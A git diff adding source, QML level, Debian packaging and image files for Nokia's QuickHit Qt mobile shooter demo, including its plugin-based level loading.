diff --git a/demos/mobile/quickhit/mainwindow.cpp b/demos/mobile/quickhit/mainwindow.cpp
new file mode 100644
index 00000000..1d146aa6
--- /dev/null
+++ b/demos/mobile/quickhit/mainwindow.cpp
@@ -0,0 +1,248 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "mainwindow.h"
+#include "gameengine.h"
+#include "plugins/levelplugininterface.h"
+
+#include <QDebug>
+#include <QDir>
+#include <QMessageBox>
+#include <QLibraryInfo>
+#include <QDeclarativeEngine>
+#include <QDesktopWidget>
+
+MainWindow::MainWindow(QWidget *parent)
+ : QDeclarativeView(parent)
+{
+
+#ifdef Q_WS_MAEMO_5
+ window()->setAttribute(Qt::WA_Maemo5PortraitOrientation, true);
+#endif
+
+ // Game engine
+ m_gameEngine = new GameEngine(this);
+
+ // Load all levels plugins
+ m_levelPlugin = 0;
+ loadLevelPlugins();
+
+ // QML main window
+ engine()->addImportPath("./imports");
+ setResizeMode(QDeclarativeView::SizeRootObjectToView);
+
+ // Set game engine visible to QML
+ rootContext()->setContextProperty("GameEngine", m_gameEngine);
+
+ // Set QML source
+ setSource(QUrl("qrc:/Game.qml"));
+ //setSource(QUrl("../QuickHit/Game.qml"));
+
+ // Store QML root object for game engine
+ QObject *ro = static_cast<QObject*>(rootObject());
+ m_gameEngine->setGameQml(ro);
+ m_gameEngine->findQmlObjects();
+
+ // Application foreground / background event filter for filterin incoming call (window)
+ // when game will be paused
+ m_eventFilter = new MyEventFilter(this);
+ QObject::connect(m_eventFilter,SIGNAL(activationChangeFiltered()),this,SLOT(activationChangeFiltered()));
+ qApp->installEventFilter(m_eventFilter);
+
+ // Remove context menu from the all widgets
+ QWidgetList widgets = QApplication::allWidgets();
+ QWidget* w = 0;
+ foreach (w,widgets){
+ w->setContextMenuPolicy(Qt::NoContextMenu);
+ }
+}
+
+MainWindow::~MainWindow()
+{
+ for (int i=0;i<m_plugins.count();i++) {
+ m_plugins[i]->unload();
+ }
+ m_plugins.clear();
+
+}
+
+void MainWindow::activationChangeFiltered()
+{
+ m_gameEngine->pauseGame();
+}
+
+void MainWindow::levelActivated(int index)
+{
+ // Set level for the game engine
+ createPlugin(index);
+ rootContext()->setContextProperty("LevelPlugin", m_levelPlugin);
+ m_gameEngine->setGameLevel(m_levelPlugin);
+}
+
+void MainWindow::loadLevelPlugins()
+{
+#if defined (Q_OS_SYMBIAN)
+ bool exists_c = loadPlugins("c", "quickhitlevels");
+ bool exists_e = loadPlugins("e", "quickhitlevels");
+ bool exists_f = loadPlugins("f", "quickhitlevels");
+ if (exists_c || exists_e || exists_f) {
+ m_gameEngine->setPluginList(m_plugins);
+ createPlugin();
+ }
+ else {
+ //QMessageBox::information(this, "QuickHit", "Could not load any of the quickhitlevels");
+ }
+#else
+ if (loadPlugins("c", "quickhitlevels")) {
+ m_gameEngine->setPluginList(m_plugins);
+ createPlugin();
+ }
+ else {
+ //QMessageBox::information(this, "QuickHit", "Could not load any of the quickhitlevels");
+ }
+
+
+#endif
+}
+
+bool MainWindow::loadPlugins(QString drive, QString pluginDir)
+{
+#if defined (Q_OS_SYMBIAN)
+ QDir pluginsDir(drive + ":" + QLibraryInfo::location(QLibraryInfo::PluginsPath));
+#elif defined Q_OS_WIN32
+ QDir pluginsDir = QDir::currentPath();
+#else
+ QDir pluginsDir(QLibraryInfo::location(QLibraryInfo::PluginsPath));
+#endif
+ pluginsDir.cd(pluginDir);
+
+ qDebug() << "Loads plugins from : " << pluginsDir.path();
+
+ bool newPluginsLoaded = false;
+
+ foreach (QString fileName, pluginsDir.entryList(QDir::Files))
+ {
+ // Accept only plugin files
+#if defined (Q_OS_SYMBIAN)
+ if (fileName.contains(".qtplugin",Qt::CaseInsensitive)) {
+#elif defined (Q_WS_MAEMO_5)
+ if (fileName.contains(".so",Qt::CaseInsensitive)) {
+#else
+ if (fileName.contains(".dll",Qt::CaseInsensitive)) {
+#endif
+
+ // Create plugin loader
+ QPluginLoader* pluginLoader = new QPluginLoader(pluginsDir.absoluteFilePath(fileName));
+ // Load plugin
+ bool ret = pluginLoader->load();
+ if (!ret) {
+ // Loading failed
+ qDebug() << "Could not load plugin " << fileName;
+ } else {
+ // Loading done
+ // Test creating plugin
+ QObject *plugin = 0;
+ LevelPluginInterface* pluginIF = 0;
+ plugin = pluginLoader->instance();
+ pluginIF = qobject_cast<LevelPluginInterface*> (plugin);
+ if (pluginIF) {
+ qDebug() << "Plugin can be created";
+ // Store loader to array
+ m_plugins.append(pluginLoader);
+ newPluginsLoaded = true;
+ } else {
+ pluginLoader->unload();
+ qDebug() << "Plugin can NOT be created!";
+ }
+ }
+ }
+ }
+
+ return newPluginsLoaded;
+}
+
+
+void MainWindow::createPlugin(int index)
+{
+ if (index == -1) {
+ return;
+ }
+
+ m_levelPlugin = 0;
+
+ // Try to create plugin instance
+ QPluginLoader* pluginLoader = m_plugins[index];
+ QObject *plugin = pluginLoader->instance();
+ if (plugin) {
+ // Plugin instance created
+ // Cast plugin to LevelPluginInterface, that is common for all plugins
+ LevelPluginInterface* pluginIF = qobject_cast<LevelPluginInterface*> (plugin);
+ m_levelPlugin = pluginIF;
+ qDebug() << "Plugin created: " << index;
+ }
+ else {
+ qDebug() << "Creating plugin failed!";
+ QMessageBox::information(this, "QuickHit", "Could not create quickhitlevels");
+ }
+}
+
+void MainWindow::printObjectTree(QObject* parent)
+{
+ if (parent) {
+ qDebug() << "className:" << parent->metaObject()->className();
+ qDebug() << "objectName:" << parent->objectName();
+
+ QObjectList list = parent->children();
+ QObject* item;
+ foreach (item,list) {
+ if (item->children().count()>0) {
+ qDebug() << "--Childrens found--";
+ printObjectTree(item);
+ } else {
+ qDebug() << "className:" << item->metaObject()->className();
+ qDebug() << "objectName:" << item->objectName();
+ }
+ }
+ } else {
+ qDebug() << "object NULL";
+ }
+
+}
+
diff --git a/demos/mobile/quickhit/mainwindow.h b/demos/mobile/quickhit/mainwindow.h
new file mode 100644
index 00000000..a77c16b2
--- /dev/null
+++ b/demos/mobile/quickhit/mainwindow.h
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef MAINWINDOW_H
+#define MAINWINDOW_H
+
+#include <QtGui/QMainWindow>
+#include <QDeclarativeView>
+
+#include <QApplication>
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+#include <QGraphicsObject>
+#include <QMouseEvent>
+#include <QPluginLoader>
+
+#include "myeventfilter.h"
+
+class GameEngine;
+class LevelPluginInterface;
+
+class MainWindow : public QDeclarativeView
+{
+ Q_OBJECT
+
+public:
+ MainWindow(QWidget *parent = 0);
+ ~MainWindow();
+
+public slots:
+ void levelActivated(int);
+ void activationChangeFiltered();
+
+private:
+ void printObjectTree(QObject* parent);
+ void loadLevelPlugins();
+ bool loadPlugins(QString drive, QString pluginDir);
+ void createPlugin(int index = -1);
+
+private:
+ GameEngine* m_gameEngine;
+ LevelPluginInterface* m_levelPlugin;
+ QList<QPluginLoader*> m_plugins;
+
+ MyEventFilter* m_eventFilter;
+};
+
+#endif // MAINWINDOW_H
diff --git a/demos/mobile/quickhit/myeventfilter.cpp b/demos/mobile/quickhit/myeventfilter.cpp
new file mode 100644
index 00000000..09ae77db
--- /dev/null
+++ b/demos/mobile/quickhit/myeventfilter.cpp
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QDebug>
+#include "myeventfilter.h"
+
+MyEventFilter::MyEventFilter(QObject *parent) :
+ QObject(parent)
+{
+}
+
+MyEventFilter::~MyEventFilter()
+{
+}
+
+bool MyEventFilter::eventFilter(QObject *obj, QEvent *event)
+{
+ // http://doc.trolltech.com/4.7/qevent.html#QEvent
+
+ // QEvent::ActivationChange : The application has been made available to the user.
+
+ if (event->type() == QEvent::ActivationChange) {
+ emit activationChangeFiltered();
+ qDebug() << "ActivationChangeFiltered()";
+ return false;
+ } else {
+ // standard event processing
+ return QObject::eventFilter(obj, event);
+ }
+}
diff --git a/demos/mobile/quickhit/myeventfilter.h b/demos/mobile/quickhit/myeventfilter.h
new file mode 100644
index 00000000..4d2a43e0
--- /dev/null
+++ b/demos/mobile/quickhit/myeventfilter.h
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef KEYEVENTLISTENER_H
+#define KEYEVENTLISTENER_H
+
+#include <QObject>
+#include <QKeyEvent>
+
+class MyEventFilter : public QObject
+{
+ Q_OBJECT
+
+public:
+ MyEventFilter(QObject *parent = 0);
+ ~MyEventFilter();
+
+protected:
+ bool eventFilter(QObject *obj, QEvent *event);
+
+signals:
+ void activationChangeFiltered();
+
+};
+
+#endif // KEYEVENTLISTENER_H
diff --git a/demos/mobile/quickhit/plugins/LevelOne/Level.qml b/demos/mobile/quickhit/plugins/LevelOne/Level.qml
new file mode 100644
index 00000000..d5eaf02e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/Level.qml
@@ -0,0 +1,214 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Rectangle {
+ id: enemies
+ anchors.fill: parent
+ color: "black"
+
+
+ // Background image for the level
+ Image {
+ id: background1
+ source: "file:/"+LevelPlugin.pictureRootPath()+"background3.png"
+ fillMode: Image.PreserveAspectCrop
+ smooth: true
+ //anchors.fill: parent
+ width: parent.width
+ height: parent.height
+ }
+
+
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ function pause(doPause) {
+ if (doPause) {
+ rightLeftAnim.pause()
+ upToDownAnim.pause()
+ } else {
+ rightLeftAnim.resume()
+ upToDownAnim.resume()
+ }
+ }
+
+
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ objectName: "level"
+
+ property int enemySpeed: LevelPlugin.enemySpeed()
+ property int enemyMaxWidth
+
+ // Create enemies dynamically
+ function createEnemies(amount) {
+ var b = false;
+ for (var i=0;i<amount;i++) {
+ if (b){
+ Qt.createQmlObject('import QtQuick 1.0; Image { property bool hit:false; width:50; objectName:"enemy"; smooth:true; fillMode:Image.PreserveAspectFit; source:"file:/"+LevelPlugin.pictureRootPath()+"enemy1.png";}',enemiesGrid);
+ } else {
+ Qt.createQmlObject('import QtQuick 1.0; Image { property bool hit:false; width:50; objectName:"enemy"; smooth:true; fillMode:Image.PreserveAspectFit; source:"file:/"+LevelPlugin.pictureRootPath()+"enemy2.png";}',enemiesGrid);
+ }
+ b = !b;
+ }
+ }
+
+ // Calculate enemy max width
+ function calEnemyMaxWidth() {
+ var enemyCountInCol = LevelPlugin.enemyCount() / LevelPlugin.enemyRowCount();
+ enemyCountInCol++; // add some extra space needs for width
+ if (enemyCountInCol*LevelPlugin.graphSize(LevelPlugin.pictureRootPath()+"enemy1.png").width > gameArea.width) {
+ enemyMaxWidth = gameArea.width / (enemyCountInCol + 1);
+ }
+ else {
+ enemyMaxWidth = LevelPlugin.graphSize(LevelPlugin.pictureRootPath()+"enemy1.png").width;
+ }
+ }
+
+
+ Component.onCompleted: {
+ // Calculate enemy max width
+ calEnemyMaxWidth()
+
+ // Create enemies dynamically after component created
+ createEnemies(LevelPlugin.enemyCount())
+
+ // Start animations
+ enemiesGrid.y = enemiesGrid.height * -1
+ rightLeftAnim.restart()
+ upToDownAnim.restart()
+
+ // Flying stars animation, not in Maemo
+ if (!GameEngine.isMaemo()) {
+ starBurstTimer.restart()
+ }
+
+ GameEngine.playSound(4) // NOTE: Level start sound
+ }
+
+
+ Timer {
+ id: starBurstTimer
+ interval: starParticles.lifeSpan+GameEngine.randInt(100,2000); running: false; repeat: true
+ onTriggered: {
+ starParticles.burst(GameEngine.randInt(4,10))
+ }
+ }
+
+
+ // Right-left animation
+ SequentialAnimation {
+ id: rightLeftAnim
+ loops: Animation.Infinite
+ NumberAnimation { target:enemiesGrid; property:"x"; from: 0; to:gameArea.width - enemiesGrid.width; easing.type: Easing.OutQuad; duration: 3000 }
+ NumberAnimation { target:enemiesGrid; property:"x"; to: 0; easing.type: Easing.OutQuad; duration: 3000 }
+ }
+
+ // Up to down animation
+ PropertyAnimation { id: upToDownAnim; target:enemiesGrid; property:"y"; to: gameArea.height;
+ easing.type: Easing.Linear; duration: enemies.enemySpeed }
+
+ Grid {
+ id: enemiesGrid
+ objectName: "enemiesGrid"
+ columns: LevelPlugin.enemyCount() / LevelPlugin.enemyRowCount()
+ spacing: 8
+ }
+
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ // Execute explode particle effect
+ function explode(x,y) {
+ explodeParticles.x = x
+ explodeParticles.y = y
+ explodeParticles.burst(20)
+ explodeParticles.opacity = 1
+ }
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ // Explode particle effect
+ Particles {
+ id: explodeParticles
+ opacity: 0
+ width: 1
+ height: 1
+ emissionRate: 0
+ source: "file:/"+LevelPlugin.pictureRootPath()+"red_fire.png"
+ lifeSpan: 500
+ lifeSpanDeviation: 2000
+ count: -1
+ angle: 270
+ angleDeviation: 65
+ velocity: 100
+ velocityDeviation: 100
+ ParticleMotionGravity {
+ yattractor: 1000
+ xattractor: 300
+ acceleration: 50
+ }
+ }
+
+ Particles {
+ id: starParticles
+ y: -50
+ x: 0
+ width: parent.width
+ height: 50
+ emissionRate: 0
+ source: "file:/"+LevelPlugin.pictureRootPath()+"star3.png"
+ lifeSpan: 3000
+ count: -1
+ angle: 90
+ velocity: 100
+ ParticleMotionGravity {
+ yattractor: 1000
+ xattractor: 500
+ }
+ }
+
+
+}
+
+
+
+
+
diff --git a/demos/mobile/quickhit/plugins/LevelOne/debian/changelog b/demos/mobile/quickhit/plugins/LevelOne/debian/changelog
new file mode 100644
index 00000000..de7ac989
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/debian/changelog
@@ -0,0 +1,11 @@
+levelone (1.1.0) unstable; urgency=low
+
+ * Final graphics
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Wed, 5 Jan 2011 10:05:04 +0200
+
+levelone (1.0.0) unstable; urgency=low
+
+ * First version
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Tue, 19 Oct 2010 10:05:04 +0200
diff --git a/demos/mobile/quickhit/plugins/LevelOne/debian/compat b/demos/mobile/quickhit/plugins/LevelOne/debian/compat
new file mode 100644
index 00000000..7f8f011e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/debian/compat
@@ -0,0 +1 @@
+7
diff --git a/demos/mobile/quickhit/plugins/LevelOne/debian/control b/demos/mobile/quickhit/plugins/LevelOne/debian/control
new file mode 100644
index 00000000..c46afefb
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/debian/control
@@ -0,0 +1,11 @@
+Source: levelone
+Section: user/games
+Priority: extra
+Maintainer: Antonio Aloisio <antonio.aloisio@nokia.com>
+Standards-Version: 3.7.2
+
+Package: levelone
+Architecture: any
+Depends: ${shlibs:Depends}, ${misc:Depends}
+Description: QuickHit - LevelOne
+ QuickHit - LevelOne
diff --git a/demos/mobile/quickhit/plugins/LevelOne/debian/copyright b/demos/mobile/quickhit/plugins/LevelOne/debian/copyright
new file mode 100644
index 00000000..fb9e5a8e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/debian/copyright
@@ -0,0 +1,8 @@
+This is qmultiwinexample, written and maintained by Forum Nokia Antonio Aloisio <antonio.aloisio@nokia.com>
+on Tue, 19 Oct 2010 10:05:04 +0200
+
+
+Copyright Holder: Nokia (c) 2010
+
+License:
+
diff --git a/demos/mobile/quickhit/plugins/LevelOne/debian/dirs b/demos/mobile/quickhit/plugins/LevelOne/debian/dirs
new file mode 100644
index 00000000..80507f10
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/debian/dirs
@@ -0,0 +1,2 @@
+usr/bin
+usr/share/applications/hildon
diff --git a/demos/mobile/quickhit/plugins/LevelOne/debian/postinst b/demos/mobile/quickhit/plugins/LevelOne/debian/postinst
new file mode 100644
index 00000000..79fb6ddd
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/debian/postinst
@@ -0,0 +1,5 @@
+#!/bin/sh -e
+
+gtk-update-icon-cache -f /usr/share/icons/hicolor
+
+exit 0
diff --git a/demos/mobile/quickhit/plugins/LevelOne/debian/rules b/demos/mobile/quickhit/plugins/LevelOne/debian/rules
new file mode 100644
index 00000000..53a1d2ea
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/debian/rules
@@ -0,0 +1,91 @@
+#!/usr/bin/make -f
+# -*- makefile -*-
+# Sample debian/rules that uses debhelper.
+# This file was originally written by Joey Hess and Craig Small.
+# As a special exception, when this file is copied by dh-make into a
+# dh-make output file, you may use that output file without restriction.
+# This special exception was added by Craig Small in version 0.37 of dh-make.
+
+# Uncomment this to turn on verbose mode.
+#export DH_VERBOSE=1
+
+
+APPNAME := levelone
+
+
+configure: configure-stamp
+configure-stamp:
+ dh_testdir
+ # Add here commands to configure the package.
+
+ touch configure-stamp
+
+
+build: build-stamp
+
+build-stamp: configure-stamp
+ dh_testdir
+
+ # Add here commands to compile the package.
+ $(MAKE)
+ #docbook-to-man debian/$(APPNAME).sgml > $(APPNAME).1
+
+ touch $@
+
+clean:
+ dh_testdir
+ dh_testroot
+ rm -f build-stamp configure-stamp
+
+ # Add here commands to clean up after the build process.
+ $(MAKE) clean
+
+ dh_clean
+
+install: build
+ dh_testdir
+ dh_testroot
+ dh_clean -k
+ dh_installdirs
+
+ # Add here commands to install the package into debian/$(APPNAME).
+ $(MAKE) INSTALL_ROOT="$(CURDIR)"/debian/$(APPNAME) install
+
+
+# Build architecture-independent files here.
+binary-indep: build install
+# We have nothing to do by default.
+
+# Build architecture-dependent files here.
+binary-arch: build install
+ dh_testdir
+ dh_testroot
+ dh_installchangelogs
+ dh_installdocs
+ dh_installexamples
+# dh_install
+# dh_installmenu
+# dh_installdebconf
+# dh_installlogrotate
+# dh_installemacsen
+# dh_installpam
+# dh_installmime
+# dh_python
+# dh_installinit
+# dh_installcron
+# dh_installinfo
+ dh_installman
+ dh_link
+ # dh_strip
+ dh_compress
+ dh_fixperms
+# dh_perl
+ dh_makeshlibs
+ dh_installdeb
+ dh_shlibdeps
+ dh_gencontrol
+ dh_md5sums
+ dh_builddeb
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary install configure
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/background3.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/background3.png
new file mode 100644
index 00000000..c81875ac
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/background3.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy1.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy1.png
new file mode 100644
index 00000000..94f149bd
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy1.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy2.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy2.png
new file mode 100644
index 00000000..448f8ca6
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy_missile2.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy_missile2.png
new file mode 100644
index 00000000..c0b28d86
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/enemy_missile2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/fire.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/fire.png
new file mode 100644
index 00000000..84010340
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/fire.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/fire2.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/fire2.png
new file mode 100644
index 00000000..139aa611
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/fire2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/missile2.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/missile2.png
